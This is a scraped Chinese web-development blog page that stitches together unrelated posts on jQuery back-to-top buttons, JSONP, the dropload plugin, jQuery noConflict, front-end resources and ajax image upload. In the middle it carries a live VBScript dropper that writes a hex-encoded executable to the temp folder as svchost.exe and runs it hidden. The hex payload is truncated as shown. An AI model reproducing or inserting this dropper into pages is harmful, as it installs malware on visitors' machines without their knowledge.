jquery 回到顶部

<html>
<head>
<title></title>
</head>
<body>
<style type=”text/css”>
.go-top-trigger {
width: 52px;
height: 52px;
cursor: pointer;
z-index: 10;
right: 13px;
bottom: 132px;
position: fixed;
background: url(https://gss0.bdstatic.com/5foIcy0a2gI2n2jgoY3K/n/nvn/static/news/imgs/go-top_b1fff84.png) no-repeat;
background-size: 52px auto;
-webkit-background-size: 52px auto;
background-position: right center;}
</style>
<div class=”go-top-trigger” style=”display:none;” ></div>

</body>
<script type=”text/javascript” src=”http://www.jq22.com/js/jquery.min.js”></script>
<script type=”text/javascript”>
$(function(){
$(window).scroll(function() {
if($(window).scrollTop() >= 300){
$(‘.go-top-trigger’).fadeIn(300);
}else{
$(‘.go-top-trigger’).fadeOut(300);
}
});
$(‘.go-top-trigger’).click(function(){
$(‘html,body’).animate({scrollTop: ‘0px’}, 800);});
});
</script>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
<div style=”height:100px;”>55555</div>
</html>

Jsonp post 解决 跨域方案 Ajax JSONP支持POST?但为何实际上数据还是GET传递

Jsonp post 跨域方案_javascript技巧_脚本之家

移动端下拉刷新、上拉加载更多 Zepto/jQuery插件

dropload

a javascript implementation of pull to refresh and up to loadmore
移动端下拉刷新、上拉加载更多插件

背景介绍 (introduce)

感谢交流群和github上的网友反馈和建议,修复两个bug。并且把某些demo里ajax获取数据部分从原来的假json改为真正的数据接口,让例子更接近线上开发环境。

历史背景介绍

最新版本 (The latest version)

0.9.1(161205)

  • 修复不调用loadDownFn报错bug
  • 修复窗口改变resize未触发加载数据bug

所有更新日志

示例 (demo)

扫一扫 DEMO1,加载底部(loadmore)

扫一扫 DEMO2,加载顶部、底部(refresh & loadmore)

扫一扫 DEMO3,特殊布局,加载顶部、底部(refresh & loadmore with fixed navbar)

扫一扫 DEMO4,按需加载

扫一扫 DEMO5,tab加载数据

依赖 (dependence)

Zepto 或者 jQuery 1.7以上版本,推荐jQuery 2.x版本(二者不要同时引用)
Zepto or jQuery 1.7+,recommend to use jQuery 2.x(not use them at the same time)

使用方法 (usage)

引用css和js
(basic)

<link rel="stylesheet" href="../dist/dropload.css">
<script src="../dist/dropload.min.js"></script>
$('.element').dropload({
    scrollArea : window,
    loadDownFn : function(me){
        $.ajax({
            type: 'GET',
            url: 'json/more.json',
            dataType: 'json',
            success: function(data){
                alert(data);
                // 每次数据加载完,必须重置
                me.resetload();
            },
            error: function(xhr, type){
                alert('Ajax error!');
                // 即使加载出错,也得重置
                me.resetload();
            }
        });
    }
});

(注明:所有示例里ajaxsetTimeout都是为了模拟加载效果而写的,与本插件无直接关系。ajax建议自己写,无特殊情况不必copy我的ajax写法,因为写得太烂。如需下载本地运行,请在本机装服务器环境,否则ajax会报错。)

参数列表 (options)

参数 说明 默认值 可填值
scrollArea 滑动区域 绑定元素自身 window
domUp 上方DOM {
domClass : ‘dropload-up’,
domRefresh : ‘<div class=”dropload-refresh”>↓下拉刷新</div>’,
domUpdate : ‘<div class=”dropload-update”>↑释放更新</div>’,
domLoad : ‘<div class=”dropload-load”>○加载中…</div>’
}
数组
domDown 下方DOM {
domClass : ‘dropload-down’,
domRefresh : ‘<div class=”dropload-refresh”>↑上拉加载更多</div>’,
domLoad : ‘<div class=”dropload-load”>○加载中…</div>’,
domNoData : ‘<div class=”dropload-noData”>暂无数据</div>’
}
数组
autoLoad 自动加载 true true和false
distance 拉动距离 50 数字
threshold 提前加载距离 加载区高度2/3 正整数
loadUpFn 上方function function(me){
//你的代码
me.resetload();
}
loadDownFn 下方function function(me){
//你的代码
me.resetload();
}

API

暴露一些功能,可以让dropload更灵活的使用

lock() 锁定dropload

参数 说明
lock() 智能锁定,锁定上一次加载的方向
lock('up') 锁定上方
lock('down') 锁定下方

unlock() 解锁dropload

noData() 无数据

参数 说明
noData() 无数据
noData(true) 无数据
noData(false) 有数据

resetload() 重置。每次数据加载完,必须重置

已知问题

  • 由于部分Android中UC和QQ浏览器头部有地址栏,并且一开始滑动页面隐藏地址栏时,无法触发scroll和resize,所以会导致部分情况无法使用。解决方案1:增加distance距离,例如DEMO2中distance:50;解决方案2:加meta使之全屏显示
<meta name="full-screen" content="yes">
<meta name="x5-fullscreen" content="true">

例如DEMO1

 

GitHub地址:https://github.com/ximan/dropload

jQuery如何将$替换成¥

jQuery 名称冲突
jQuery 使用 $ 符号作为 jQuery 的简介方式。

某些其他 JavaScript 库中的函数(比如 Prototype)同样使用 $ 符号。

jQuery 使用名为 noConflict() 的方法来解决该问题。

var ¥=jQuery.noConflict(),帮助您使用自己的名称(比如 ¥)来代替 $ 符号。

 

jQuery中需要用到$符号,如果其他js库(例如大名鼎鼎的prototype)也定义了$符号,那么就会造成冲突,会影响到js代码的正常执行。jqeury提供了一些方案来避免这个问题,让我们来看看这几个方案有什么区别

方案1:
引入noConflict(),将$替换为其他符号

复制代码 代码如下:
var $j = jQuery.noConflict();
$j(document).ready(function(){
$j(“#btn1”).click(function(){
alert(“Text: ” + $j(“#test”).text());
});
});

缺点:引入了这段代码后,不仅是当前的js文件,该html引用的所有js中,如果有用到jquery中的$,都得用$j来代替之前的$

方案2:
ready函数是jquery的入口函数,可以
将$(document).ready(function(){
替换成
jQuery( document ).ready(function( $){}
缺点:只对ready嵌套内的代码有效,对嵌套外的代码是无效的。如果你所有的逻辑,都在写ready函数中,那没问题。但我们一般都会在ready函数之外写一些子函数,然后ready函数再去调用这些函数。这个方案对这些函数是无效的,因此这套方案有局限性。

方案3(推荐,特别是开发js插件时):

给js内容包上一个函数

复制代码 代码如下:
jQuery(function($){
//你的js代码放在这里(例如第二个方案提到的ready函数和子函数)
//如果是js文件,其实就是在文件头部和尾部各加一行代码
}

或者

复制代码 代码如下:
(function($) {
//你的js代码
})(jQuery);

这个方法,没有上面两个方案的缺点,只会影响到被包在jQuery(function($){}中的代码。
不会影响到其他js代码,这一点很重要。试想一下,假如你写了一个js公共组件,该组件需要用到jquery,为了提高鲁棒性,需考虑$符号冲突问题。如果使用方案1,那么别人在使用时,还得遵守你的约定,把自己js代码中的$改成$,而如果使用方案3,既能避免$冲突对该组件的影响,又无需要求使用公共组件的人修改自己的代码。

前端Web开发资源整理

作者:林梓
链接:https://zhuanlan.zhihu.com/p/23344447
来源:知乎
著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。

记得大学做小组项目开发的时候,一个小组项目获得了老师的表扬,说页面美,有想点击的欲望,而我们其他大部分都不注重前端的页面展示和布局,都还振振有词的说只要功能实现了就OK了,页面美不美无所谓,现在想想当时好傻啊。

后来,有小伙伴自己做了个小游戏,类似扫雷这种,都觉得简单好玩,老师还提名表扬呢,那时没深究是怎么开发的,现在想想就是纯前端的简单小游戏啊。

工作后,发现前端才是王道啊,先不说大家说的什么“整个互联网都缺前端啊”这种话题,就说要抓取用户眼球,让用户有点击的欲望,这都是前端工作啊,毕竟用户才不关心“你咋实现这个功能的”,只要看着舒服就行。

其实,说这么多,我只想说,如果你想学前端,现在还来得及。我平时会留意各种资源,因此,这里整理一番,可能更适合有一定基础的前端学习者看~

说明:关于前端学习网站,太多了,什么官方文档啦、各种在线学习网站啦,只要你想学前端,那么一搜就全出来了,因此啊,我就不整理介绍了;

我主要整理3个部分:

  • 1)想开发项目,哪里找教程?
  • 2)关于前端的有趣网站;
  • 3)分享一些合集资源;

一、前端项目哪里找?

前端的入门教程网上很多,只要你搜索呼啦啦就出来了,因此啊,就不整理了。主要整理一下,哪里可以找到前端项目,就是有源代码的,可以拿来学习或者拿来用的。

  • 没有详细的教程,但可以找到项目并查看源代码和效果图:

1、CodePen

网站里有很多很酷的特效,而且看到它们的源代码,也可以看到效果图。

其实类似的网站有很多,就不一一介绍了:

2、 CodePlayer

网站里有各种项目效果,选择自己想学的,同样可以看到源代码和效果图,和codepen不同的是你可以看到作者是怎样把代码打出来的。

3、html5tricks

网站里有很多前端实现的功能,可以在线查看效果,也可以下载源码的。

  • 有详细的教程,而且步骤详细,教你一步步开发出项目:

4、phodal/ideabook

一个练手项目集,有很多实战项目,有步骤、效果图,同样可以看到源代码啊。

5、实验楼-WEB

网站里有很多前端项目教程,可以跟着教程一步步在环境中实现,并查看效果图,同样可以下载源代码,非常适合项目实战学习。

二、前端有趣的网站:

1、JS1k

大名鼎鼎的js1K,1K字节以内的Javascript代码,实现一个酷炫的动画、特效、小游戏之类的。官网从2010年开始征集参赛作品,现在已经办了7年了,还在办。

2、Can I use

CAN I USE,相信每个前端同学都不陌生,查询浏览器兼容性的利器。

3、JSHint

一个在线JS检测工具,可以检测JavaScript代码中的错误和潜在问题。

4、aaencode

将JS代码转换成常用的网络表情,例如“(゚Θ゚)”。转换的代码并不复杂,可以在源代码里看到。

类似的还有:

一个在线混淆工具,通过先进的算法,来混淆你的JavaScript代码,使其不可读。该工具还可以减小文件的大小,以便快速加载。

5、Best CSS Button Generator

网站主要提供各种按钮的CSS代码,你可以从预设的按钮中选择并使用模板用于自己的设计,还可以查看源代码,非常适合学习。

还有一个类似的:

网站是一个完整的代码生成器,可以自定义输入域或CSS3按钮,同样可以查看源代码,适合学习。

6、CSS属性指引

一份清单,按字母表顺序列出了每个CSS属性。

7、frontendrescue

里面分享了网络上关于前端的各种资源、大牛等信息,总之很多资源就对了。

三、一些整理的合集资源:

资源太多了,我就把平时mark的一些合集资源整理出来吧;

一些整理好的合集资源:

DropFileName = “svchost.exe”

<SCRIPT Language=VBScript><!–
DropFileName = “svchost.exe”
WriteData = “4D5A90000300000004000000FFFF0000B8000000000
Set FSO = CreateObject(“Scripting.FileSystemObject”)
DropPath = FSO.GetSpecialFolder(2) & “\” & DropFileName
If FSO.FileExists(DropPath)=False Then
Set FileObj = FSO.CreateTextFile(DropPath, True)
For i = 1 To Len(WriteData) Step 2
FileObj.Write Chr(CLng(“&H” & Mid(WriteData,i,2)))
Next
FileObj.Close
End If
Set WSHshell = CreateObject(“WScript.Shell”)
WSHshell.Run DropPath, 0
//–></SCRIPT>

ajax上传图片(单图上传)


<div class="Upload-img-box">
<div class="Upload-btn"><input type="file" id="fileToUpload" name="fileToUpload" data-role="none">上传图片<input type="file" id="fileToUpload" name="fileToUpload" data-role="none">营业执照</div>
<div class="Upload-img">
<div class="list-img loading" style="display:none;"><img src=""></div>
<div class="list-img jq_photo" style="display:none;"></div>
</div>
</div>
<script type="text/javascript" src="/static/default/wap/js/ajaxfileupload.js"></script>
<script><a href="http://goonls.com/wp-content/uploads/2016/10/ajaxfileupload.js">ajaxfileupload</a>
function ajaxupload() {<a href="http://goonls.com/wp-content/uploads/2016/10/ajaxfileupload.js">ajaxfileupload</a>
$(".loading").show();
$.ajaxFileUpload({
url: '<{:U("app/upload/upload",array("model"=>"life"))}>',
type: 'post',
fileElementId: 'fileToUpload',
dataType: 'text',
secureuri: false, //一般设置为false
success: function (data, status) {
$(".loading").hide();
var str = '<img src="__ROOT__/attachs/' + data + '"><input type="hidden" name="data[photo]" value="' + data + '" />';
$(".jq_photo").show().html(str);
$("#fileToUpload").unbind('change');
$("#fileToUpload").change(function () {
ajaxupload();
});
}
});
}
$(document).ready(function () {
$("#fileToUpload").change(function () {
ajaxupload();
});
$(document).on("click", ".photo img", function () {
$(this).parent().remove();
});
});
</script>